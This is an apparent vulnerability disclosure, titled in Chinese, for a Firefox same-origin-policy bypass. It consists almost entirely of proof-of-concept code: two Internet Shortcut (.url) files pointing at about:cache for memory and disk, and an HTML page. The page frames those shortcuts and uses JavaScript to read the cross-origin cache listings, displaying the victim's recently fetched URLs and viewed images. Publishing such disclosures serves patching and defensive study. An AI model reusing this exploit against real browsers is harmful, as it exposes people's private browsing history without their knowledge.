Mozilla Firefox Internet快捷方式破坏同源策略漏洞

-----testurl1.url----- [InternetShortcut] URL=about:cache?device=memory IDList= [{000214A0-0000-0000-C000-000000000046}] Prop3=19,2 -----testurl2.url----- [InternetShortcut] URL=about:cache?device=disk IDList= [{000214A0-0000-0000-C000-000000000046}] Prop3=19,2 -----test.html----- <script> function a() { s=""; h=""; for(i=0;i<window.frames.length;i++) { d=window.frames[i].document; for(j=0;j<d.links.length;j++) { u=d.links[j].text s+=u+"\n"; h+="<img src=\""+u+"\">"; } } document.getElementById("t").value=s; document.getElementById("x").innerHTML=h; } </script> <a href="javascript:a();">Start Test</a><br> <a href="javascript:window.location=location.href">Load This Page Again</a><br> <br> <br> <b>List of files that you recently fetched from the internet:</b><br> <textarea rows="10" cols="100" id=t wrap=off></textarea> <br> <br> <b>List of images that you recently viewed on the internet:</b><br> <div id=x></div> <br> <br> <iframe width=300 height=200 src="testurl1.url"></iframe> <iframe width=300 height=200 src="testurl2.url"></iframe>